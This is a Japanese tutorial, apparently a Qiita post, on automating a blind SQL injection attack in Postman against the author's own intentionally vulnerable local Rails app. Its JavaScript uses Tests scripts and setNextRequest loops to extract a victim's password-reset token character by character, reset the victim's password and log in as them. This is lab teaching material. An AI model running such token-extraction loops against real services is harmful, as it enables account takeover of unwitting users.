最初に
以下の記事で作ったSQLiがあるアプリに対する一連の攻撃を、
PostmanのScriptによって実現します。SQLi自体については解説しません。
https://qiita.com/k_karen/items/a1768c31989b08267998
Postmanの以下の機能を利用します。
- Pre-request Script
リクエスト前に処理をするScript - Tests
リクエスト後に処理をするスクリプト - Collection
リクエスト群、Run collectionでまとめて実行可能(実行上限あり?),setNextRequest
の利用 - Environment
リクエスト間での情報受け渡しなどに利用出来る。
一般には普通の環境変数として使われる - Postbot
AIによってスクリプトを作ってくれる便利な機能(実行上限あり?)
各機能を詳しく解説することよりも、
実際に使ってみる例としての側面が強い記事になっています。
より具体的には「条件付きのRequestループをPostmanで再現しよう」というところが肝になってます。
その過程で、幾つかの機能にも触れる記事となっています。
今回の一連のCollectionを手元に再現する方法
- アプリケーション側
https://github.com/k-karen/sqli-rails をdocker-compose up
するだけです - Postman側
左上部のImport
→
https://gist.githubusercontent.com/k-karen/9a6e2d3f519ccdcbb01e63cdb23ef26a/raw/f4e77a0c15f1ec7d867d9030c6016db58c9d2088/SQLi.postman_collection.json
を貼り付けで取り込みができます
環境変数作成とBASE_API_URL
の設定のみ、後述の説明の通りを実行してください。
実際に作っていく
Exploitは記事の攻撃フローの通りの手順で行います。
https://qiita.com/k_karen/items/a1768c31989b08267998#%E6%94%BB%E6%92%83%E3%83%95%E3%83%AD%E3%83%BC
以下のリクエストが必要になります。
- 被害者の作成(sign_up, activate)
- パスワードリセット要求
- 攻撃者の作成
- 攻撃者のPost作成
- SQLiを利用した攻撃
- パスワードリセット
- ログイン
これらを一連の処理として、PostmanのCollectionにまとめていきます。
以下は先程取り込みを説明したCollectionを一体どういう手順で作ったかの説明になります。
取り込んでいただいて、不明な点についてはその項を確認いただくのが良いかと思います。
1. Collection/Environmentの準備
-
Collectionを作成
collectons→+
からBlank collection
この...
に色々な設定があります。
これをクリックしてRename
からCollectionの名前を変更しましょう。
-
environments(環境変数)の作成
左のタブでCollections
が選択されてる状態だと思います。
Environments
をクリックして+
からCreate new enviroments
します。
API(dockerで動いているアプリ)のURLを環境変数に入れます。
ここにはいろんな値を入れておけるので、
後に利用してリクエスト間の情報のやり取りを行います。
自分はstaticな値をUPPER_CASEに、
スクリプトで扱う値をlower_caseに命名しています。
2. リクエストの作成
methodをPOSTリクエストに変更して、
requestURLを {{BASE_API_URL}}/users/sign_up
に設定します。
ランダムなemailとpasswordを作って、
environmentにセットするスクリプト(Pre-request Script)を作成します。
(実際のスクリプトは私のコレクションを確認してください。)
sign_upのAPIを叩く際の手順は以下です
-
Pre-request Script
でランダムなemailとpasswordを作成し、environmentにセット - environmentの値をpostする
-
Tests
のスクリプトでresponseのtokenをenvironmentにセット.
リクエストの 前 に処理したいことを Pre-request Script
に、
後 に処理したいことをTests
に書く事ができるということです。
以下にその具体的なscriptとその書き方の一例を示します。
2-1. ランダムな値の生成し, environment経由でRequestにセットする
Testsタブの右上にあるアイコンをクリックすると、Postbotが使えます。
こいつに書きたいスクリプトをお願いするとそれをTestsに吐き出してくれます。
ここでは、
generate random password and email address, set it for environment value, 'hoge','fuga'
とお願いして Tests に吐き出してもらったスクリプトを Pre-resuest Script へコピーしています。
(hoge, fugaは後に適切な名前に変更しています。)
// Generate random email address and password
var randomEmail = "test_victim_" + Math.floor(Math.random() * 1000) + "@example.com";
var randomPassword = "password" + Math.floor(Math.random() * 1000);
// Body 側では {{victim_email}}などとしてこの値を参照出来ます
pm.environment.set("victim_email", randomEmail);
pm.environment.set("victim_password", randomPassword);
このスクリプトによって設定されたランダムなEmailとパスワードはリクエストのBodyで以下のように使えます。
2-2. レスポンスの格納について
また、このリクエストのレスポンスで帰ってくるtokenをactivateのために使いたいので次のリクエストのためにsetします
Postbotにset response.token value, as "token"
として
実際にrequestを送ると、以下のようなscriptを得られます。
{
"message": "アカウントを作成しました",
"token": "kfXs2WhrNLA8g6d7EG39"
}
var responseBody = pm.response.json();
var token = responseBody.token;
pm.environment.set("token", token);
3. 他のリクエストも作っていく
以下のように必要な一連のリクエストを作成します。
activate
前のリクエストで取得したtokenをenvironmentにセットしたので、
他のリクエストでもこの値を使う事ができます。
以下のように設定すると、直前にsign_upで取得したtokenをPost出来ます
login
me(ログイン済みセッション/cookieであることを確認するAPI)
PostmanはloginAPIを叩いたときのSet-CookieでSetされたCookieを自動で引き継いでくれるので、認証状態が引き継がれます。
なお、Cookieを消したいときは画面下部(右下)にあるCookiesから編集可能です。
4. Collectionの一連を流す
※この機能は無料版だと実行回数に制限があるみたいですお気をつけください。
(ただ超えてても実行できたりして意味がわからない、リモートのリソースが不要な機能そうなのになぜ制限があるのか… )
https://learning.postman.com/docs/billing/resource-usage/#manual-collection-runner-runs
ということで、一連のリクエストを流すことが出来たので、攻撃の実装に移ります。
5.攻撃部分の実装
ログインまで
もともとのRequestにvictim_というprefixを加えます。
それらをコピーして、hacker_というprefixのものも作ります。
このとき、リクエストBody, Pre-request Script, testsの変数名もhacker_というprefixを足すようにしましょう。
これで攻撃者のLoginまで完了です。
攻撃下準備
以下のリクエストの作成は割愛します(importしたCollectionを参照してください)
- 被害者のemailアドレスを使ってpassword reset要求を送ります。
- count結果を使ったSQLiを実行するので、Count対象になるPostを作成します。
Run Collection時に一部リクエストをループする方法
setNextRequest
を使って自分を呼び出し直せます。
environmentでループしている関数を管理できます。
たとえばcount_keyword
という名前のRequestを3回実行したい場合以下のようなものを作成します。
const LOOP_TIMES = 3 // Loopの回数
const loop_count = Number(pm.environment.get("loop_count") || 1)
pm.environment.set("loop_count", loop_count + 1)
if (loop_count < LOOP_TIMES) { // 3回目は次のリクエストをセットしないので、ここは≦ではなく<です
postman.setNextRequest("count_keyword")
} else {
// 繰り返しCollection Runするときのために0をセットしておく
pm.environment.set("loop_count", 1)
}
6. 実際のExploitのコードをTestsのスクリプトで再現する
今回のExploitでは、tokenの文字列を token like 'a%'
のような形で1文字ずつ試し、
countの値が変わったかを確認していくことでtoken全体を得られます。
そのためにトークン候補文字配列の何文字目か
とその時点でのtokenの文字列
の情報を、
ループのリクエスト間で引き継ぐ必要があります。
その場合のスクリプトは以下のとおりです。
(SQLi自体はbodyのkeywordの値に指定されている文字列により発生します。
これについて具体的な値はImportしたCollectionを参照ください。
意味については最初の記事を御覧ください)
const range = (start, end) => Array.from({ length: end.charCodeAt(0) - start.charCodeAt(0) + 1 }, (_, i) => String.fromCharCode(start.charCodeAt(0) + i))
// [A-Za-z0-9_-] がtokenの文字列になりうるとしています
const CHARACTORS = [...range('A', 'Z'), ...range('a', 'z'), ...range('0', '9'), '_', '-'];
const INDEX_UPPER = CHARACTORS.length - 1
// Request間で使い回す変数です。
// 何文字目まで確認したかと、今SQLiに指定したtokenの文字列を意味しています。
const arr_index = Number(pm.environment.get("arr_index") || 0)
const current_token = pm.environment.get("current_token") || ''
if (0 < Number(pm.response.json().count)) { // tokenが前方一致なら 0 < countになる
pm.environment.set("arr_index", 0)
pm.environment.set("current_token", `${current_token}${CHARACTORS[0]}`)
postman.setNextRequest("count_keyword")
} else if (arr_index < INDEX_UPPER) {
// tokenが前方一致しない場合
// 次のリクエストに備えて、確認するtokenの最後の文字を
// CHARACTORS上での次の文字にします。処理は以下のとおりです
pm.environment.set("arr_index", arr_index + 1)
pm.environment.set("current_token", `${current_token.slice(0, -1)}${CHARACTORS[arr_index + 1]}`)
postman.setNextRequest("count_keyword")
} else { // 探索の終了
// 最後の文字まで検索してもcountが0より大きくならなかったら探索を終了します。
// このとき最後の文字はtokenの文字ではないので、それを切り捨てたところまでがtokenです
pm.environment.set("hacked_token", current_token.slice(0, -1))
// 繰り返しCollection Runするときのためにenvをresetする
pm.environment.set("arr_index", 0)
pm.environment.set("current_token", '')
}
Hackしたtokenの確認処理
hacked_tokenに入ってる値をPostして、ランダムに生成したパスワードの変更を試みます。
あとはlogin, meのコールを行い、victim_meとhacked_meのresponseが同じであることを確認して終わりです。
Persist response for a session
のチェックを付けてRun SQLi
を押して暫く待つ
ぐわ〜〜〜っとpassword reset tokenを探すためのcount_keywordへのリクエストがたくさん流れて、
最終的にvictimのパスワードを hacked_your_pass
に変更してログインできることが確認できます。
公開したい場合
Exportからjsonを保存できます。
これをgitのgistにアップロードすることで、他の人とも共有できます。
(CollectionをPublishsするだけだと、testsなどが共有できなかった)
まとめ
envrionmentはrequest内の
Pre-request
→実際のリクエスト(Body, Headerなど)
→Tests(レスポンス受け取ったあとの処理)
の全てで参照ができる値です。
また request間でもこの値を引き継ぐことが出来る ので、
request間に依存があるようなものでもPostamanで管理ができます。
Cookieなどは自動で制御されて、リクエストに付与されます。
そのため、(cookieでログイン状態を管理してるなら)ログインが必要なAPIのコールなども出来ます。
ちなみに、headerにAuthorizationなどを含めるようなサイトの場合も、Headerをカスタムすれば可能です。
今回はExploitの肝となる部分でTestsをメインに使いました。
environmentとsetNextRequestのあわせ技で、条件付きのループを回すことが出来ました。
補足
Scriptを使わずに、ただランダムな値を設定したいケースでは以下の機能が便利です。
https://learning.postman.com/docs/writing-scripts/script-references/variables-list/